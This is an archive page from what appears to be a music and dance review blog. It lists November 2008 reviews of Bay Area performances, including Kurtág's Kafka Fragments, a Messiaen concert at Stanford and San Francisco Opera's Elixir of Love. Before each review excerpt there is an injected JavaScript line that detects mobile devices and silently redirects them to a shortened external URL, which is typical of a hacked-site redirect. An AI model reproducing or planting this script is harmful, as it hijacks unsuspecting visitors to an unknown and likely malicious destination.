November 2008 – Repeat Performances

November 16, 2008

Kurtag’s ’Kafka Fragments’ at Cal Performances

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Preview When Peter Sellars called photographer David Michalek to talk about his staging of György Kurtág’s Kafka Fragments, he described the world...

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November 12, 2008

Stanford Lively Arts presents Urban Bush Women and Compagnie Jant-Bi

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Through worlds of dance Full of energetic movement executed by powerful dancers in the full flow of their bodies’ vigor, The Scales of Memory is an...

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November 7, 2008

Messiaen at Stanford

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); A concert of revelations and extremes at Stanford This year marks the centenary of Olivier Messiaen, a French composer who had a profound impact on 20th century...

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November 2, 2008

Oakland Symphony Chorus at Lake Merritt

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Inauguration of the new Oakland cathedral Constructed over the last three years, Oakland’s newest cathedral held an inaugural concert Sunday evening, Nov....

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November 1, 2008

San Francisco Opera’s ’Elixir of Love’

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Mix me an elixir, 101 in the shade Who cannot love Donizetti? Especially at his wittiest and most playful: L’elisir d’amore, or Elixir of...

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